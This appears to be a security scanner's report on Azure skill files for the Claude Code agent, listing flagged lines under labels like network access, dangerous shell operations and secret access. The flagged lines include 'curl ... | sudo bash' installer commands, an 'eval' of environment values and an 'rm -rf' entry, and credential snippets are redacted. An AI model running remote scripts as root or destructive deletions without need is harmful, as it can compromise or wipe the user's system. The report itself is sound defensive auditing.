For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS. - Network accessline 101
- Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 102
- Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates - Network accessline 103
- For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking
harness/claude-code/skills/azure-container-registry-cli/SKILL.md
- Network accessline 29
# Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 30
brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI - Dangerous shell operationline 31
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 31
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 151
- [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)
harness/claude-code/skills/azure-container-registry-cli/references/build-and-tasks.md
- Network accessline 32
# Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 33
az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder} - Network accessline 59
az acr task create --registry {registry} --name build-app \ --image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 60
--image "app:{{.Run.ID}}" \ --context https://github.com/{org}/{repo}.git#main \ --file Dockerfile \ - Network accessline 61
--context https://github.com/{org}/{repo}.git#main \ - Network accessline 124
az acr task create --registry {registry} --name build-test-push \ --file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ - Network accessline 125
--file acb.yaml \ --context https://github.com/{org}/{repo}.git#main \ --git-access-token {pat} - Network accessline 126
--context https://github.com/{org}/{repo}.git#main \
harness/claude-code/skills/azure-container-registry-cli/references/images-and-artifacts.md
- Network accessline 148
az acr credential-set create --registry {registry} --name dockerhub-creds \ --login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 149
--login-server docker.io \ --username-id https://{vault}.vault.azure.net/secrets/dh-user \ --password-id https://{vault}.vault.azure.net/secrets/dh-pass - Network accessline 150
--username-id https://{vault}.vault.azure.net/secrets/dh-user \ - Network accessline 151
--password-id https://{vault}.vault.azure.net/secrets/dh-pass
harness/claude-code/skills/azure-container-registry-cli/references/networking-and-geo.md
- Network accessline 93
Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected. - Network accessline 130
az acr export-pipeline create --resource-group {rg} --registry {src-registry} \ --name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 131
--name export-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 132
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 133
--storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 136
az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \ --name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 137
--name import-pipe \ --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ --storage-container-uri https://{account}.blob.core.windows.net/{container} - Network accessline 138
--secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \ - Network accessline 139
--storage-container-uri https://{account}.blob.core.windows.net/{container}
harness/claude-code/skills/azure-cost/cost-forecast/error-handling.md
- Network accessline 11
| 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T - Network accessline 13
| 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 44
| 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ - Network accessline 46
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/claude-code/skills/azure-cost/cost-forecast/workflow.md
- Network accessline 117
| 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes - Network accessline 119
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/claude-code/skills/azure-cost/cost-optimization/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-cost/cost-optimization/azure-aks-anomalies.md
- Network accessline 12
az rest --method post \ --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \ - Network accessline 13
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
harness/claude-code/skills/azure-cost/cost-optimization/report-template.md
- Network accessline 56
https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview
harness/claude-code/skills/azure-cost/cost-optimization/services/storage/azure-storage.md
- Network accessline 185
Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).
harness/claude-code/skills/azure-cost/cost-optimization/workflow.md
- Network accessline 168
**Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 169
- Container Apps: https://azure.microsoft.com/pricing/details/container-apps/ - Network accessline 170
- Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/ - Network accessline 171
- App Service: https://azure.microsoft.com/pricing/details/app-service/ - Network accessline 172
- Log Analytics: https://azure.microsoft.com/pricing/details/monitor/
harness/claude-code/skills/azure-cost/cost-query/error-handling.md
- Network accessline 12
| 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded. - Network accessline 14
| 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. | - Network accessline 37
| 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea - Network accessline 38
| 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt - Network accessline 39
| 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |
harness/claude-code/skills/azure-cost/cost-query/request-body-schema.md
- Network accessline 3
Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).
harness/claude-code/skills/azure-cost/cost-query/workflow.md
- Network accessline 137
| 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie - Network accessline 139
| 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |
harness/claude-code/skills/azure-deploy/SKILL.md
- Network accessline 56
> **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c - Network accessline 79
| 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi - Network accessline 81
| 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) | - Network accessline 83
> **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands - Network accessline 85
> When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with
harness/claude-code/skills/azure-deploy/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-deploy/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/claude-code/skills/azure-deploy/references/recipes/azcli/verify.md
- Network accessline 10
curl -s https://<endpoint>/health | jq . - Network accessline 39
# Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN" - Network accessline 41
echo "https://$FQDN" - Network accessline 43
# App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME" - Network accessline 45
echo "https://$HOSTNAME" - Network accessline 47
# Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME" - Network accessline 49
echo "https://$HOSTNAME" - Network accessline 54
# Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn" - Network accessline 56
Write-Output "https://$Fqdn" - Network accessline 58
# App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname" - Network accessline 60
Write-Output "https://$Hostname" - Network accessline 62
# Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname" - Network accessline 64
Write-Output "https://$Hostname" - Network accessline 67
> ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`. - Network accessline 69
Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.
harness/claude-code/skills/azure-deploy/references/recipes/azd/ef-migrations.md
- Network accessline 146
- [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/) - Network accessline 148
- [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
harness/claude-code/skills/azure-deploy/references/recipes/azd/functions-deploy.md
- Network accessline 73
# Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 74
curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 76
# Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 77
curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 79
# Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 80
curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 86
# DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 87
curl -I "https://<func-name>.azurewebsites.net/api/<route>"
harness/claude-code/skills/azure-deploy/references/recipes/azd/post-deployment.md
- Dangerous shell operationline 38
eval $(azd env get-values) - Network accessline 78
# Health check curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 79
curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 81
# Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed" - Network accessline 82
curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh
- Executable scriptline 1
#!/bin/bash
harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh
- Executable scriptline 1
#!/bin/bash
harness/claude-code/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md
harness/claude-code/skills/azure-deploy/references/recipes/azd/verify.md
- Network accessline 14
Resource Group: rg-myapp-dev Services: api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 16
api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 25
# Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 26
curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 66
| Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 68
| apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 70
Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io - Network accessline 73
> ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user. - Dangerous shell operationline 85
eval $(azd env get-values)
harness/claude-code/skills/azure-deploy/references/recipes/bicep/verify.md
- Network accessline 18
curl -s https://<endpoint>/health | jq . - Network accessline 31
Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/claude-code/skills/azure-deploy/references/recipes/cicd/verify.md
- Network accessline 16
curl -s https://<endpoint>/health | jq . - Network accessline 23
Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway
harness/claude-code/skills/azure-deploy/references/recipes/terraform/README.md
- Access to secretsline 18
[Credential-related source omitted]
harness/claude-code/skills/azure-deploy/references/recipes/terraform/errors.md
- Access to secretsline 10
[Credential-related source omitted]
harness/claude-code/skills/azure-deploy/references/recipes/terraform/verify.md
- Network accessline 11
curl -s https://$(terraform output -raw api_url)/health | jq . - Network accessline 30
Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/claude-code/skills/azure-deploy/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 65
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/claude-code/skills/azure-deploy/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/claude-code/skills/azure-deploy/references/troubleshooting.md
- Network accessline 114
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 115
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 134
**Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)
harness/claude-code/skills/azure-deployment-preflight/SKILL.md
- Access to secretsline 40
[Credential-related source omitted]
harness/claude-code/skills/azure-deployment-preflight/references/ERROR-HANDLING.md
- Network accessline 35
- **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 37
- **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 166
- **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn - Network accessline 168
- **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064 - Network accessline 211
2. Provide installation instructions. - If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 212
- If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands - Network accessline 213
- Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 245
- **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - Network accessline 246
- **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if - Network accessline 247
- **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
harness/claude-code/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md
harness/claude-code/skills/azure-developer-cli/examples/azure.yaml
- Network accessline 1
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/claude-code/skills/azure-developer-cli/references/iac-and-environments.md
harness/claude-code/skills/azure-developer-cli/references/official-docs.md
- Network accessline 7
- [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 8
- [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview) - Network accessline 9
- [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates) - Network accessline 10
- [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible) - Network accessline 11
- [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema) - Network accessline 12
- [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json) - Network accessline 13
- [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow) - Network accessline 14
- [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment) - Network accessline 18
- [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 19
- [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/) - Network accessline 20
- [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/) - Network accessline 21
- [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/) - Network accessline 25
- [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview) - Network accessline 26
- [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments) - Network accessline 27
- [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables) - Network accessline 28
- [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support) - Network accessline 29
- [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets) - Network accessline 33
- [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility) - Network accessline 34
- [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline) - Network accessline 35
- [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions) - Network accessline 36
- [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features) - Network accessline 37
- [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference) - Network accessline 38
- [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot) - Network accessline 42
- [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills) - Network accessline 43
- [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)
harness/claude-code/skills/azure-developer-cli/references/project-structure.md
- Network accessline 59
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/claude-code/skills/azure-devops-cli/SKILL.md
- Network accessline 31
# Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 32
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 32
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 41
az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN - Network accessline 42
az devops configure --defaults organization=https://dev.azure.com/{org} project={project} - Network accessline 46
Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`. - Network accessline 133
- **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https:// - Network accessline 134
- **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr - Network accessline 135
- **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - Network accessline 161
**Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}` - Network accessline 162
**Organization:** `https://dev.azure.com/{org}` - Network accessline 182
- [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 183
- [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 192
- [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)
harness/claude-code/skills/azure-devops-cli/references/advanced-usage.md
- Network accessline 159
| Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | - Network accessline 160
|---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID | - Network accessline 161
| `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
harness/claude-code/skills/azure-devops-cli/references/long-comments-on-windows.md
- Network accessline 54
The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `
harness/claude-code/skills/azure-devops-cli/references/org-and-security.md
- Network accessline 22
az devops project list --organization https://dev.azure.com/{org} - Network accessline 29
az devops project create \ --name myNewProject \ --organization https://dev.azure.com/{org} \ - Network accessline 30
--name myNewProject \ --organization https://dev.azure.com/{org} \ --description "My new DevOps project" \ - Network accessline 31
--organization https://dev.azure.com/{org} \ - Network accessline 40
az devops project show --project {project-name} --org https://dev.azure.com/{org} - Network accessline 46
az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes - Network accessline 155
az devops user list --org https://dev.azure.com/{org} - Network accessline 162
az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org} - Network accessline 168
az devops user add --email user@example.com --license-type express --org https://dev.azure.com/{org} - Network accessline 169
--email user@example.com \ --license-type express \ --org https://dev.azure.com/{org} - Network accessline 171
--org https://dev.azure.com/{org} - Network accessline 177
az devops user update --user {user-id-or-email} --license-type advanced --org https://dev.azure.com/{org} - Network accessline 178
--user {user-id-or-email} \ --license-type advanced \ --org https://dev.azure.com/{org} - Network accessline 180
--org https://dev.azure.com/{org} - Network accessline 186
az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes - Network accessline 440
# List installed extensions az devops extension list --org https://dev.azure.com/{org} - Network accessline 441
az devops extension list --org https://dev.azure.com/{org} - Network accessline 446
# Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 447
az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 450
az devops extension install \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} \ - Network accessline 451
--ext-id {extension-id} \ --org https://dev.azure.com/{org} \ --publisher {publisher-id} - Network accessline 452
--org https://dev.azure.com/{org} \ - Network accessline 456
az devops extension enable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 458
--org https://dev.azure.com/{org} - Network accessline 461
az devops extension disable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 463
--org https://dev.azure.com/{org} - Network accessline 466
az devops extension uninstall \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} --yes - Network accessline 468
--org https://dev.azure.com/{org} --yes
harness/claude-code/skills/azure-devops-cli/references/pipelines-and-builds.md
harness/claude-code/skills/azure-devops-cli/references/repos-and-prs.md
- Network accessline 17
az repos list --org https://dev.azure.com/{org} --project {project} - Network accessline 50
# Import from public Git repository az repos import create \ --git-source-url https://github.com/user/repo \ - Network accessline 51
az repos import create --git-source-url https://github.com/user/repo - Network accessline 52
--git-source-url https://github.com/user/repo \ - Network accessline 55
# Import with authentication az repos import create \ --git-source-url https://github.com/{owner}/{repo} \ - Network accessline 56
az repos import create --git-source-url https://github.com/{owner}/{repo} - Network accessline 57
--git-source-url https://github.com/{owner}/{repo} \
harness/claude-code/skills/azure-devops-cli/references/workflows-and-patterns.md
- Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Network accessline 177
"serviceEndpointId": "$SERVICE_ENDPOINT_ID" }, "url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Network accessline 178
[Credential-related source omitted] - Network accessline 179
"url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Access to secretsline 185
[Credential-related source omitted] - Network accessline 333
# Alternative download method curl -L "$BACKUP_URL" -o ./output/backup.zip - Network accessline 334
curl -L "$BACKUP_URL" -o ./output/backup.zip - Access to secretsline 460
[Credential-related source omitted] - Access to secretsline 461
[Credential-related source omitted] - Network accessline 553
if [[ "$RESULT" == "failed" ]]; then # Send Slack alert curl -X POST "$slack_webhook" \ - Network accessline 554
# Send Slack alert curl -X POST "$slack_webhook" \ -H 'Content-Type: application/json' \ - Network accessline 555
curl -X POST "$slack_webhook" \
harness/claude-code/skills/azure-diagnostics/references/app-service/README.md
- Network accessline 6
|---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe - Network accessline 7
